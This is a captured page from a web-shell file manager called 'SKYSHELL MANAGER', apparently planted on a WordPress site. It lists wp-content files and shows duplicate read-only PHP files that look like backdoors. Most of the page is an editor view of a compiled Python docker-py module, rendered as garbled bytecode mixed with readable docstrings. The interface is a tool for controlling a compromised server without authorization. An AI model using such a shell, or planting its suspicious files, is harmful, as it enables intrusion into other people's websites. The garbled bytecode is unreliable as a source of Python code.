📁
ＳＫＹＳＨＥＬＬ ＭＡＮＡＧＥＲ
PHP v8.3.6
Create
Create
Path:
root
/
var
/
www
/
voigtlaborg
/
wp-content
/
Name
Size
Perm
Actions
📁
themes
-
0755
🗑️
🏷️
🔒
📄
api.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
goods.php
173.77 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
load.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-cron.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: containers.cpython-312.pyc
� ��/aR� � �� � d dl Z d dlZd dlmZ ddlmZ ddlmZ ddlm Z m Z m Z m Z m Z ddlmZ ddlmZ d d lmZ d d lmZmZ G d � d e� Z G d� de� Zg d�Zg d�Zd� Zd� Z edd� Z y)� N)� namedtuple� )� APIClient)�DEFAULT_DATA_CHUNK_SIZE)�ContainerError�DockerException� ImageNotFound�NotFound� create_unexpected_kwargs_error)� HostConfig)� version_gte� )�Image)� Collection�Modelc � � e Zd ZdZed� � Zed� � Zed� � Zed� � Zed� � Z d� Z d� Z d d �Z d � Z d d �Zefd�Zed fd�Zd!d�Zd� Zd� Zd� Zd� Zd� Zd� Zd� Zd� Zd� Zd� Z d� Z d � Z d � Z d � Z y )"� ContaineraI Local representation of a container object. Detailed configuration may be accessed through the :py:attr:`attrs` attribute. Note that local attributes are cached; users may call :py:meth:`reload` to query the Docker daemon for the current properties, causing :py:attr:`attrs` to be refreshed. c �v � | j j d� � | j d j d� S y)z, The name of the container. �NameN�/)�attrs�get�lstrip��selfs �:/usr/lib/python3/dist-packages/docker/models/containers.py�namezContainer.name s6 � � �:�:�>�>�&� !� -��:�:�f�%�,�,�S�1� 1� .� c �� � | j j d| j d � }|�y| j j j |j d� d � S )z- The image of the container. �ImageIDr N�:r )r r �client�images�split)r �image_ids r �imagezContainer.image sS � � �:�:�>�>�)�T�Z�Z��-@�A�� � ���{�{�!�!�%�%�h�n�n�S�&9�!�&<�=�=r c �| � | j d j d� }|xs i S # t $ r t d� �w xY w)z: The labels of a container as dictionary. �Config�LabelszYLabel data is not available for sparse objects. Call reload() to retrieve all information)r r �KeyErrorr )r �results r �labelszContainer.labels* sK � � ��Z�Z��)�-�-�h�7�F��<�R� ��� �!�/�� � �s �#& �;c �~ � t | j d t � r| j d d S | j d S )zW The status of the container. For example, ``running``, or ``exited``. �State�Status)� isinstancer �dictr s r �statuszContainer.status8 s: � � �d�j�j��)�4� 0��:�:�g�&�x�0� 0��z�z�'�"�"r c �Z � | j j di � j di � S )zG The ports that the container exposes as a dictionary. �NetworkSettings�Ports)r r r s r �portszContainer.portsA s' � � �z�z�~�~� /��4�8�8��"�E�Er c �d � | j j j | j fi |��S )a Attach to this container. :py:meth:`logs` is a wrapper around this method, which you can use instead if you want to fetch/stream container output without first retrieving the entire backlog. Args: stdout (bool): Include stdout. stderr (bool): Include stderr. stream (bool): Return container output progressively as an iterator of strings, rather than a single string. logs (bool): Include the container's previous output. Returns: By default, the container's output as a single string. If ``stream=True``, an iterator of output strings. Raises: :py:class:`docker.errors.APIError` If the server returns an error. )r" �api�attach�id�r �kwargss r r9 zContainer.attachH s( � �0 &�t�{�{���%�%�d�g�g�8��8�8r c �d � | j j j | j fi |��S )a� Like :py:meth:`attach`, but returns the underlying socket-like object for the HTTP request. Args: params (dict): Dictionary of request parameters (e.g. ``stdout``, ``stderr``, ``stream``). ws (bool): Use websockets instead of raw HTTP. Raises: :py:class:`docker.errors.APIError` If the server returns an error. )r" r8 � attach_socketr: r; s r r> zContainer.attach_socketb s( � � -�t�{�{���,�,�T�W�W�?��?�?r Nc � � | j j j | j f||d�|��}| j j j |d � S )a� Commit a container to an image. Similar to the ``docker commit`` command. Args: repository (str): The repository to push the image to tag (str): The tag to push message (str): A commit message author (str): The name of the author changes (str): Dockerfile instructions to apply while committing conf (dict): The configuration for the container. See the `Engine API documentation <https://docs.docker.com/reference/api/docker_remote_api/>`_ for full details. Raises: :py:class:`docker.errors.APIError` If the server returns an error. )� repository�tag�Id)r" r8 �commitr: r# r )r r@ rA r< �resps r rC zContainer.commitr sT � �* &�t�{�{���%�%�d�g�g� 0�*�#� 0�(.�0���{�{�!�!�%�%�d�4�j�1�1r c �` � | j j j | j � S )z� Inspect changes on a container's filesystem. Returns: (str) Raises: :py:class:`docker.errors.APIError` If the server returns an error. )r" r8 �diffr: r s r rF zContainer.diff� s! � � �{�{���#�#�D�G�G�,�,r Fc �Z � | j j j | j |||||||| | �� }| j j j |d ||| | | �� }| s| r t d|� S t | j j j |d � d |� S )a1 Run a command inside this container. Similar to ``docker exec``. Args: cmd (str or list): Command to be executed stdout (bool): Attach to stdout. Default: ``True`` stderr (bool): Attach to stderr. Default: ``True`` stdin (bool): Attach to stdin. Default: ``False`` tty (bool): Allocate a pseudo-TTY. Default: False privileged (bool): Run as privileged. user (str): User to execute command as. Default: root detach (bool): If true, detach from the exec command. Default: False stream (bool): Stream response data. Default: False socket (bool): Return the connection socket to allow custom read/write operations. Default: False environment (dict or list): A dictionary or a list of strings in the following format ``["PASSWORD=xxx"]`` or ``{"PASSWORD": "xxx"}``. workdir (str): Path to working directory for this exec session demux (bool): Return stdout and stderr separately Returns: (ExecResult): A tuple of (exit_code, output) exit_code: (int): Exit code for the executed command or ``None`` if either ``stream`` or ``socket`` is ``True``. output: (generator, bytes, or tuple): If ``stream=True``, a generator yielding response chunks. If ``socket=True``, a socket object for the connection. If ``demux=True``, a tuple of two bytes: stdout and stderr. A bytestring containing response data otherwise. Raises: :py:class:`docker.errors.APIError` If the server returns an error. )�stdout�stderr�stdin�tty� privileged�user� environment�workdirrB )�detachrK �stream�socket�demuxN�ExitCode)r" r8 � exec_creater: � exec_start� ExecResult� exec_inspect)r �cmdrH rI rJ rK rL rM rP rQ rR rN rO rS rD � exec_outputs r �exec_runzContainer.exec_run� s� � �R �{�{���*�*� �G�G�S���e��!��+�� +� �� �k�k�o�o�0�0� ��J�v�3�v�f�� 1� � � �V� �d�K�0� 0�� �K�K�O�O� (� (��d�� 4�Z� @� � � r c �b � | j j j | j |� S )a� Export the contents of the container's filesystem as a tar archive. Args: chunk_size (int): The number of bytes returned by each iteration of the generator. If ``None``, data will be streamed as it is received. Default: 2 MB Returns: (str): The filesystem tar archive Raises: :py:class:`docker.errors.APIError` If the server returns an error. )r" r8 �exportr: )r � chunk_sizes r r] zContainer.export� s# � � �{�{���%�%�d�g�g�z�:�:r c �f � | j j j | j |||� S )a� Retrieve a file or folder from the container in the form of a tar archive. Args: path (str): Path to the file or folder to retrieve chunk_size (int): The number of bytes returned by each iteration of the generator. If ``None``, data will be streamed as it is received. Default: 2 MB encode_stream (bool): Determines if data should be encoded (gzip-compressed) during transmission. Default: False Returns: (tuple): First element is a raw tar data stream. Second element is a dict containing ``stat`` information on the specified ``path``. Raises: :py:class:`docker.errors.APIError` If the server returns an error. Example: >>> f = open('./sh_bin.tar', 'wb') >>> bits, stat = container.get_archive('/bin/sh') >>> print(stat) {'name': 'sh', 'size': 1075464, 'mode': 493, 'mtime': '2018-10-01T15:37:48-07:00', 'linkTarget': ''} >>> for chunk in bits: ... f.write(chunk) >>> f.close() )r" r8 � get_archiver: )r �pathr^ � encode_streams r r` zContainer.get_archive� s/ � �B �{�{���*�*�4�7�7�D�+5�}�F� Fr c �d � | j j j | j |�� S )a Kill or send a signal to the container. Args: signal (str or int): The signal to send. Defaults to ``SIGKILL`` Raises: :py:class:`docker.errors.APIError` If the server returns an error. )�signal)r" r8 �killr: )r rd s r re zContainer.kill s& � � �{�{���#�#�D�G�G�F�#�;�;r c �d � | j j j | j fi |��S )a� Get logs from this container. Similar to the ``docker logs`` command. The ``stream`` parameter makes the ``logs`` function return a blocking generator you can iterate over to retrieve log output as it happens. Args: stdout (bool): Get ``STDOUT``. Default ``True`` stderr (bool): Get ``STDERR``. Default ``True`` stream (bool): Stream the response. Default ``False`` timestamps (bool): Show timestamps. Default ``False`` tail (str or int): Output specified number of lines at the end of logs. Either an integer of number of lines or the string ``all``. Default ``all`` since (datetime or int): Show logs since a given datetime or integer epoch (in seconds) follow (bool): Follow log output. Default ``False`` until (datetime or int): Show logs that occurred before the given datetime or integer epoch (in seconds) Returns: (generator or str): Logs from the container. Raises: :py:class:`docker.errors.APIError` If the server returns an error. )r" r8 �logsr: r; s r rg zContainer.logs s( � �8 $�t�{�{���#�#�D�G�G�6�v�6�6r c �` � | j j j | j � S )z� Pauses all processes within this container. Raises: :py:class:`docker.errors.APIError` If the server returns an error. )r" r8 �pauser: r s r ri zContainer.pause4 s! � � �{�{���$�$�T�W�W�-�-r c �d � | j j j | j ||� S )a� Insert a file or folder in this container using a tar archive as source. Args: path (str): Path inside the container where the file(s) will be extracted. Must exist. data (bytes): tar data to be extracted Returns: (bool): True if the call succeeds. Raises: :py:class:`~docker.errors.APIError` If an error occurs. )r" r8 � put_archiver: )r ra �datas r rk zContainer.put_archive> s% � � �{�{���*�*�4�7�7�D�$�?�?r c �d � | j j j | j fi |��S )a� Remove this container. Similar to the ``docker rm`` command. Args: v (bool): Remove the volumes associated with the container link (bool): Remove the specified link and not the underlying container force (bool): Force the removal of a running container (uses ``SIGKILL``) Raises: :py:class:`docker.errors.APIError` If the server returns an error. )r" r8 �remove_containerr: r; s r �removezContainer.removeP s( � � 0�t�{�{���/�/����B�6�B�Br c �b � | j j j | j |� S )a Rename this container. Similar to the ``docker rename`` command. Args: name (str): New name for the container Raises: :py:class:`docker.errors.APIError` If the server returns an error. )r" r8 �renamer: )r r s r rq zContainer.renamea s# � � �{�{���%�%�d�g�g�t�4�4r c �d � | j j j | j ||� S )a Resize the tty session. Args: height (int): Height of tty session width (int): Width of tty session Raises: :py:class:`docker.errors.APIError` If the server returns an error. )r" r8 �resizer: )r �height�widths r rs zContainer.resizen s% � � �{�{���%�%�d�g�g�v�u�=�=r c �d � | j j j | j fi |��S )a� Restart this container. Similar to the ``docker restart`` command. Args: timeout (int): Number of seconds to try to stop for before killing the container. Once killed it will then be restarted. Default is 10 seconds. Raises: :py:class:`docker.errors.APIError` If the server returns an error. )r" r8 �restartr: r; s r rw zContainer.restart| s( � � '�t�{�{���&�&�t�w�w�9�&�9�9r c �d � | j j j | j fi |��S )z� Start this container. Similar to the ``docker start`` command, but doesn't support attach options. Raises: :py:class:`docker.errors.APIError` If the server returns an error. )r" r8 �startr: r; s r ry zContainer.start� s( � � %�t�{�{���$�$�T�W�W�7��7�7r c �d � | j j j | j fi |��S )a# Stream statistics for this container. Similar to the ``docker stats`` command. Args: decode (bool): If set to true, stream will be decoded into dicts on the fly. Only applicable if ``stream`` is True. False by default. stream (bool): If set to false, only the current stats will be returned instead of a stream. True by default. Raises: :py:class:`docker.errors.APIError` If the server returns an error. )r" r8 �statsr: r; s r r{ zContainer.stats� s( � � %�t�{�{���$�$�T�W�W�7��7�7r c �d � | j j j | j fi |��S )aU Stops a container. Similar to the ``docker stop`` command. Args: timeout (int): Timeout in seconds to wait for the container to stop before sending a ``SIGKILL``. Default: 10 Raises: :py:class:`docker.errors.APIError` If the server returns an error. )r" r8 �stopr: r; s r r} zContainer.stop� s( � � $�t�{�{���#�#�D�G�G�6�v�6�6r c �d � | j j j | j fi |��S )aH Display the running processes of the container. Args: ps_args (str): An optional arguments passed to ps (e.g. ``aux``) Returns: (str): The output of the top Raises: :py:class:`docker.errors.APIError` If the server returns an error. )r" r8 �topr: r; s r r z Container.top� s( � � #�t�{�{���"�"�4�7�7�5�f�5�5r c �` � | j j j | j � S )z� Unpause all processes within the container. Raises: :py:class:`docker.errors.APIError` If the server returns an error. )r" r8 �unpauser: r s r r� zContainer.unpause� s! � � �{�{���&�&�t�w�w�/�/r c �d � | j j j | j fi |��S )a Update resource configuration of the containers. Args: blkio_weight (int): Block IO (relative weight), between 10 and 1000 cpu_period (int): Limit CPU CFS (Completely Fair Scheduler) period cpu_quota (int): Limit CPU CFS (Completely Fair Scheduler) quota cpu_shares (int): CPU shares (relative weight) cpuset_cpus (str): CPUs in which to allow execution cpuset_mems (str): MEMs in which to allow execution mem_limit (int or str): Memory limit mem_reservation (int or str): Memory soft limit memswap_limit (int or str): Total memory (memory + swap), -1 to disable swap kernel_memory (int or str): Kernel memory limit restart_policy (dict): Restart policy dictionary Returns: (dict): Dictionary containing a ``Warnings`` key. Raises: :py:class:`docker.errors.APIError` If the server returns an error. )r" r8 �update_containerr: r; s r �updatezContainer.update� s( � �2 0�t�{�{���/�/����B�6�B�Br c �d � | j j j | j fi |��S )a� Block until the container stops, then return its exit code. Similar to the ``docker wait`` command. Args: timeout (int): Request timeout condition (str): Wait until a container state reaches the given condition, either ``not-running`` (default), ``next-exit``, or ``removed`` Returns: (dict): The API's response as a Python dictionary, including the container's exit code under the ``StatusCode`` attribute. Raises: :py:class:`requests.exceptions.ReadTimeout` If the timeout is exceeded. :py:class:`docker.errors.APIError` If the server returns an error. )r" r8 �waitr: r; s r r� zContainer.wait� s( � �* $�t�{�{���#�#�D�G�G�6�v�6�6r )NN) TTFFF� FFFNNF�N)!�__name__� __module__� __qualname__�__doc__�propertyr r& r, r2 r6 r9 r> rC rF r[ r r] r` re rg ri rk ro rq rs rw ry r{ r} r r� r� r� � r r r r s� � �� �2� �2� �>� �>� � � � � �#� �#� �F� �F� 9�4@� 2�2 -� HM�AF�EJ�8 �t !8� ;�$ ,C�"'�"F�H <� 7�<.�@�$C�" 5� >� :� 8�8�$ 7� 6� 0�C�67r r c �t � e Zd ZeZ dd�Zdd�Zd� Z d d�Zdd�Z e j j e _ y) �ContainerCollectionNc � � t |t � r |j }|j dd� }|j dd� }|j dd� } |r=|r;t | j j j d� rd|d< n t d � �|j d � r |j d � r t d � � | j d|||d �|��} | j � |r| S | j d d d } d} | dk( s| dk( r| j! ||dd�� } | j# � d } | dk7 r&d} |j d� s| j! dd�� } |r| j% � | dk7 rt' | | ||| � �|s| �| S dj) | D �cg c] }|�� c}� S # t $ rA | j j j || �� | j d|||d �|��} Y �� w xY wc c}w )a/: Run a container. By default, it will wait for the container to finish and return its logs, similar to ``docker run``. If the ``detach`` argument is ``True``, it will start the container and immediately return a :py:class:`Container` object, similar to ``docker run -d``. Example: Run a container and get its output: >>> import docker >>> client = docker.from_env() >>> client.containers.run('alpine', 'echo hello world') b'hello world\n' Run a container and detach: >>> container = client.containers.run('bfirsh/reticulate-splines', detach=True) >>> container.logs() 'Reticulating spline 1...\nReticulating spline 2...\n' Args: image (str): The image to run. command (str or list): The command to run in the container. auto_remove (bool): enable auto-removal of the container on daemon side when the container's process exits. blkio_weight_device: Block IO weight (relative device weight) in the form of: ``[{"Path": "device_path", "Weight": weight}]``. blkio_weight: Block IO weight (relative weight), accepts a weight value between 10 and 1000. cap_add (list of str): Add kernel capabilities. For example, ``["SYS_ADMIN", "MKNOD"]``. cap_drop (list of str): Drop kernel capabilities. cgroup_parent (str): Override the default parent cgroup. cpu_count (int): Number of usable CPUs (Windows only). cpu_percent (int): Usable percentage of the available CPUs (Windows only). cpu_period (int): The length of a CPU period in microseconds. cpu_quota (int): Microseconds of CPU time that the container can get in a CPU period. cpu_rt_period (int): Limit CPU real-time period in microseconds. cpu_rt_runtime (int): Limit CPU real-time runtime in microseconds. cpu_shares (int): CPU shares (relative weight). cpuset_cpus (str): CPUs in which to allow execution (``0-3``, ``0,1``). cpuset_mems (str): Memory nodes (MEMs) in which to allow execution (``0-3``, ``0,1``). Only effective on NUMA systems. detach (bool): Run container in the background and return a :py:class:`Container` object. device_cgroup_rules (:py:class:`list`): A list of cgroup rules to apply to the container. device_read_bps: Limit read rate (bytes per second) from a device in the form of: `[{"Path": "device_path", "Rate": rate}]` device_read_iops: Limit read rate (IO per second) from a device. device_write_bps: Limit write rate (bytes per second) from a device. device_write_iops: Limit write rate (IO per second) from a device. devices (:py:class:`list`): Expose host devices to the container, as a list of strings in the form ``<path_on_host>:<path_in_container>:<cgroup_permissions>``. For example, ``/dev/sda:/dev/xvda:rwm`` allows the container to have read-write access to the host's ``/dev/sda`` via a node named ``/dev/xvda`` inside the container. device_requests (:py:class:`list`): Expose host resources such as GPUs to the container, as a list of :py:class:`docker.types.DeviceRequest` instances. dns (:py:class:`list`): Set custom DNS servers. dns_opt (:py:class:`list`): Additional options to be added to the container's ``resolv.conf`` file. dns_search (:py:class:`list`): DNS search domains. domainname (str or list): Set custom DNS search domains. entrypoint (str or list): The entrypoint for the container. environment (dict or list): Environment variables to set inside the container, as a dictionary or a list of strings in the format ``["SOMEVARIABLE=xxx"]``. extra_hosts (dict): Additional hostnames to resolve inside the container, as a mapping of hostname to IP address. group_add (:py:class:`list`): List of additional group names and/or IDs that the container process will run as. healthcheck (dict): Specify a test to perform to check that the container is healthy. hostname (str): Optional hostname for the container. init (bool): Run an init inside the container that forwards signals and reaps processes init_path (str): Path to the docker-init binary ipc_mode (str): Set the IPC mode for the container. isolation (str): Isolation technology to use. Default: `None`. kernel_memory (int or str): Kernel memory limit labels (dict or list): A dictionary of name-value labels (e.g. ``{"label1": "value1", "label2": "value2"}``) or a list of names of labels to set with empty values (e.g. ``["label1", "label2"]``) links (dict): Mapping of links using the ``{'container': 'alias'}`` format. The alias is optional. Containers declared in this dict will be linked to the new container using the provided alias. Default: ``None``. log_config (LogConfig): Logging configuration. lxc_conf (dict): LXC config. mac_address (str): MAC address to assign to the container. mem_limit (int or str): Memory limit. Accepts float values (which represent the memory limit of the created container in bytes) or a string with a units identification char (``100000b``, ``1000k``, ``128m``, ``1g``). If a string is specified without a units character, bytes are assumed as an intended unit. mem_reservation (int or str): Memory soft limit. mem_swappiness (int): Tune a container's memory swappiness behavior. Accepts number between 0 and 100. memswap_limit (str or int): Maximum amount of memory + swap a container is allowed to consume. mounts (:py:class:`list`): Specification for mounts to be added to the container. More powerful alternative to ``volumes``. Each item in the list is expected to be a :py:class:`docker.types.Mount` object. name (str): The name for this container. nano_cpus (int): CPU quota in units of 1e-9 CPUs. network (str): Name of the network this container will be connected to at creation time. You can connect to additional networks using :py:meth:`Network.connect`. Incompatible with ``network_mode``. network_disabled (bool): Disable networking. network_mode (str): One of: - ``bridge`` Create a new network stack for the container on on the bridge network. - ``none`` No networking for this container. - ``container:<name|id>`` Reuse another container's network stack. - ``host`` Use the host network stack. This mode is incompatible with ``ports``. Incompatible with ``network``. oom_kill_disable (bool): Whether to disable OOM killer. oom_score_adj (int): An integer value containing the score given to the container in order to tune OOM killer preferences. pid_mode (str): If set to ``host``, use the host PID namespace inside the container. pids_limit (int): Tune a container's pids limit. Set ``-1`` for unlimited. platform (str): Platform in the format ``os[/arch[/variant]]``. Only used if the method needs to pull the requested image. ports (dict): Ports to bind inside the container. The keys of the dictionary are the ports to bind inside the container, either as an integer or a string in the form ``port/protocol``, where the protocol is either ``tcp``, ``udp``, or ``sctp``. The values of the dictionary are the corresponding ports to open on the host, which can be either: - The port number, as an integer. For example, ``{'2222/tcp': 3333}`` will expose port 2222 inside the container as port 3333 on the host. - ``None``, to assign a random host port. For example, ``{'2222/tcp': None}``. - A tuple of ``(address, port)`` if you want to specify the host interface. For example, ``{'1111/tcp': ('127.0.0.1', 1111)}``. - A list of integers, if you want to bind multiple host ports to a single container port. For example, ``{'1111/tcp': [1234, 4567]}``. Incompatible with ``host`` network mode. privileged (bool): Give extended privileges to this container. publish_all_ports (bool): Publish all ports to the host. read_only (bool): Mount the container's root filesystem as read only. remove (bool): Remove the container when it has finished running. Default: ``False``. restart_policy (dict): Restart the container when it exits. Configured as a dictionary with keys: - ``Name`` One of ``on-failure``, or ``always``. - ``MaximumRetryCount`` Number of times to restart the container on failure. For example: ``{"Name": "on-failure", "MaximumRetryCount": 5}`` runtime (str): Runtime to use with this container. security_opt (:py:class:`list`): A list of string values to customize labels for MLS systems, such as SELinux. shm_size (str or int): Size of /dev/shm (e.g. ``1G``). stdin_open (bool): Keep ``STDIN`` open even if not attached. stdout (bool): Return logs from ``STDOUT`` when ``detach=False``. Default: ``True``. stderr (bool): Return logs from ``STDERR`` when ``detach=False``. Default: ``False``. stop_signal (str): The stop signal to use to stop the container (e.g. ``SIGINT``). storage_opt (dict): Storage driver options per container as a key-value mapping. stream (bool): If true and ``detach`` is false, return a log generator instead of a string. Ignored if ``detach`` is true. Default: ``False``. sysctls (dict): Kernel parameters to set in the container. tmpfs (dict): Temporary filesystems to mount, as a dictionary mapping a path inside the container to options for that path. For example: .. code-block:: python { '/mnt/vol2': '', '/mnt/vol1': 'size=3G,uid=1000' } tty (bool): Allocate a pseudo-TTY. ulimits (:py:class:`list`): Ulimits to set inside the container, as a list of :py:class:`docker.types.Ulimit` instances. use_config_proxy (bool): If ``True``, and if the docker client configuration file (``~/.docker/config.json`` by default) contains a proxy configuration, the corresponding environment variables will be set in the container being built. user (str or int): Username or UID to run commands as inside the container. userns_mode (str): Sets the user namespace mode for the container when user namespace remapping option is enabled. Supported values are: ``host`` uts_mode (str): Sets the UTS namespace mode for the container. Supported values are: ``host`` version (str): The version of the API to use. Set to ``auto`` to automatically detect the server's version. Default: ``1.35`` volume_driver (str): The name of a volume driver/plugin. volumes (dict or list): A dictionary to configure volumes mounted inside the container. The key is either the host path or a volume name, and the value is a dictionary with the keys: - ``bind`` The path to mount the volume inside the container - ``mode`` Either ``rw`` to mount the volume read/write, or ``ro`` to mount it read-only. For example: .. code-block:: python {'/home/user1/': {'bind': '/mnt/vol2', 'mode': 'rw'}, '/var/www': {'bind': '/mnt/vol1', 'mode': 'ro'}} Or a list of strings which each one of its elements specifies a mount volume. For example: .. code-block:: python ['/home/user1/:/mnt/vol2','/var/www:/mnt/vol1'] volumes_from (:py:class:`list`): List of container names or IDs to get volumes from. working_dir (str): Path to the working directory. Returns: The container logs, either ``STDOUT``, ``STDERR``, or both, depending on the value of the ``stdout`` and ``stderr`` arguments. ``STDOUT`` and ``STDERR`` may be read only if either ``json-file`` or ``journald`` logging driver used. Thus, if you are using none of these drivers, a ``None`` object is returned instead. See the `Engine API documentation <https://docs.docker.com/engine/api/v1.30/#operation/ContainerLogs/>`_ for full details. If ``detach`` is ``True``, a :py:class:`Container` object is returned instead. Raises: :py:class:`docker.errors.ContainerError` If the container exits with a non-zero exit code and ``detach`` is ``False``. :py:class:`docker.errors.ImageNotFound` If the specified image does not exist. :py:class:`docker.errors.APIError` If the server returns an error. rQ FrP �platformNz1.25T� auto_removezQThe options 'detach' and 'remove' cannot be used together in api versions < 1.25.�network� network_modezBThe options "network" and "network_mode" can not be used together.)r& �commandrP )r� r � LogConfig�Typez json-file�journald)rH rI rQ �follow� StatusCoder )rH rI r r� )r0 r r: �popr r" r8 �_version� RuntimeErrorr �creater r# �pullry r rg r� ro r �join)r r& r� rH rI ro r< rQ rP r� � container�logging_driver�out� exit_status�lines r �runzContainerCollection.run s' � �r �e�U� #��H�H�E����H�e�,�����H�e�,���:�:�j�$�/�� �f��4�;�;�?�?�3�3�V�<�(,��}�%�"� $N� O� O� �:�:�i� �V�Z�Z��%?� � �� � =�#�� � � =�%��+1�=�5;�=�I� ���� � � �"� � � �6�{�C�F�K���� �[� (�N�j�,H��.�.� �f�T�$� !� �C� �n�n�&�|�4� � �!� ��C��:�:�m�,� �n�n�E�$�n�?�� � � � � � �!� � ��;����� � �� �s� ���� !� "�d�T� "�2 � ��? � =� �K�K� � � #� #�E�H� #� =�#�� � � =�%��+1�=�5;�=�I� =��@ #s � F) � G6�)AG3�2G3c � � t |t � r |j }||d< ||d< | j j j |d< t |� } | j j j di |��}| j |d � S )a� Create a container without starting it. Similar to ``docker create``. Takes the same arguments as :py:meth:`run`, except for ``stdout``, ``stderr``, and ``remove``. Returns: A :py:class:`Container` object. Raises: :py:class:`docker.errors.ImageNotFound` If the specified image does not exist. :py:class:`docker.errors.APIError` If the server returns an error. r& r� �versionrB r� ) r0 r r: r" r8 r� �_create_container_args�create_containerr )r r& r� r< � create_kwargsrD s r r� zContainerCollection.createX s| � � �e�U� #��H�H�E� ��w�� #��y�� �K�K�O�O� 4� 4��y��.�v�6� �/�t�{�{���/�/�@�-�@���x�x��T� �#�#r c �n � | j j j |� }| j |� S )a� Get a container by name or ID. Args: container_id (str): Container name or ID. Returns: A :py:class:`Container` object. Raises: :py:class:`docker.errors.NotFound` If the container does not exist. :py:class:`docker.errors.APIError` If the server returns an error. )r" r8 �inspect_container� prepare_model)r � container_idrD s r r zContainerCollection.getq s- � � �{�{���0�0� �>���!�!�$�'�'r c �$ � | j j j |||||�� }|r |D � cg c] } | j | � �� c} S g } |D ]& } | j | j | d � � �( | S c c} w # t $ r |s� Y �>w xY w)af List containers. Similar to the ``docker ps`` command. Args: all (bool): Show all containers. Only running containers are shown by default since (str): Show only containers created since Id or Name, include non-running ones before (str): Show only container created before Id or Name, include non-running ones limit (int): Show `limit` last created containers, include non-running ones filters (dict): Filters to be processed on the image list. Available filters: - `exited` (int): Only containers with specified exit code - `status` (str): One of ``restarting``, ``running``, ``paused``, ``exited`` - `label` (str|list): format either ``"key"``, ``"key=value"`` or a list of such. - `id` (str): The id of the container. - `name` (str): The name of the container. - `ancestor` (str): Filter by container ancestor. Format of ``<image-name>[:tag]``, ``<image-id>``, or ``<image@digest>``. - `before` (str): Only containers created before a particular container. Give the container name or id. - `since` (str): Only containers created after a particular container. Give container name or id. A comprehensive list can be found in the documentation for `docker ps <https://docs.docker.com/engine/reference/commandline/ps>`_. sparse (bool): Do not inspect containers. Returns partial information, but guaranteed not to block. Use :py:meth:`Container.reload` on resulting objects to retrieve all attributes. Default: ``False`` ignore_removed (bool): Ignore failures due to missing containers when attempting to inspect containers from the original list. Set to ``True`` if race conditions are likely. Has no effect if ``sparse=True``. Default: ``False`` Returns: (list of :py:class:`Container`) Raises: :py:class:`docker.errors.APIError` If the server returns an error. )�all�before�filters�limit�sincerB )r" r8 � containersr� �appendr r ) r r� r� r� r� r� �sparse�ignore_removedrD �rr� s r �listzContainerCollection.list� s� � �h �{�{���)�)�c�&�29��05� *� 7�� �37�8�a�D�&�&�q�)�8� 8��J�� �� � �%�%�d�h�h�q��w�&7�8� � � �� 9�� � �)� � *� �s �A;�#B � B�Bc �N � | j j j |�� S )N)r� )r" r8 �prune_containers)r r� s r �prunezContainerCollection.prune� s � ��{�{���/�/��/�@�@r )NTFFr� )FNN���NFF) r� r� r� r �modelr� r� r r� r� r r� r� r� r r r� r� sH � � �E�;@��P �d $�2(�& JN�*/�B �HA� �.�.�6�6�E�Mr r� )r� rP � domainname� entrypointrN � healthcheck�hostnamer& r, � mac_addressr �network_disabled� stdin_open� stop_signalrK �use_config_proxyrM � working_dir)>r� �blkio_weight_device� blkio_weight�cap_add�cap_drop� cgroup_parent� cpu_count� cpu_percent� cpu_period� cpu_quota� cpu_shares� cpuset_cpus� cpuset_mems� cpu_rt_period�cpu_rt_runtime�device_cgroup_rules�device_read_bps�device_read_iops�device_write_bps�device_write_iops�devices�device_requests�dns_opt� dns_search�dns� extra_hosts� group_add�init� init_path�ipc_mode� isolation� kernel_memory�links� log_config�lxc_conf� mem_limit�mem_reservation�mem_swappiness� memswap_limit�mounts� nano_cpusr� �oom_kill_disable� oom_score_adj�pid_mode� pids_limitrL �publish_all_ports� read_only�restart_policy� security_opt�shm_size� storage_opt�sysctls�tmpfs�ulimits� userns_mode�uts_moder� � volume_driver� volumes_from�runtimec �V � i }t j | � D ] }|t v s� | j |� ||< �! i }t j | � D ] }|t v s� | j |� ||< �! | j di � }|r||d< | j di � }|r||d< | j dd� }|r |di|d< ||d< | r t d | � �t di |��|d < |d j d � }|rCt |j � � D �cg c] }t |j d d � � �� c}|d< |r^t |t � r2|j � D � cg c] } | j d� �� c} |d< |S |D � cg c] } t | � �� c} |d< |S c c}w c c} w c c} w )zK Convert arguments to create() to arguments to create_container(). r6 � port_bindings�volumes�bindsr� N�networking_configr� r� � host_config� PortBindingsr r �bindr� )�copy�RUN_CREATE_KWARGSr� �RUN_HOST_CONFIG_KWARGSr r r �sorted�keys�tupler$ r0 r1 �values�_host_volume_from_bind) r< r� �key�host_config_kwargsr6 r r� r �p�vs r r� r� & s� � � �M��y�y�� � 1�� �#� #�!'���C� �M�#� �1� ���y�y�� � 6�� �(� (�&,�j�j��o� �s� #�6� �J�J�w�� #�E� �.3��?�+��j�j��B�'�G��&-��7�#��j�j��D�)�G��.5�t�_� �)�*�-4��>�*� �,�U�F�;�;�#-�#C�0B�#C�M�-� � "�-�0�4�4�^�D�M�� ,2�-�2D�2D�2F�+G�"I�&'� #(�����Q��"8� "I� �g� �� �g�t� $�'.�~�~�'7�(�"#����f� �(�M�)� $� �� 4;�(�./�&�q�)�(�M�)� $� ���"I��(��(s �"F � F!�F&c �� � t j | � \ }}|j dd� }t |� dk( s|d dv r||d z S |d j d� j d� S )Nr! r )�ro�rwr z:roz:rw)�ntpath� splitdriver$ �len�rstrip)r �drive�rest�bitss r r r [ sh � ��#�#�D�)�K�E�4� �:�:�c�1� �D� �4�y�A�~��a��L�0��t�A�w�� ��A�w�~�~�e�$�+�+�E�2�2r rW zexit_code,output) r r � collectionsr r8 r � constantsr �errorsr r r r r �typesr �utilsr r# r �resourcer r r r� r r r� r rW r� r r �<module>r* sz �� � � "� � /�� � � � � '�o7�� o7�dG7�*� G7�V� �,?� �D2�j3� � �&8� 9� �r
Save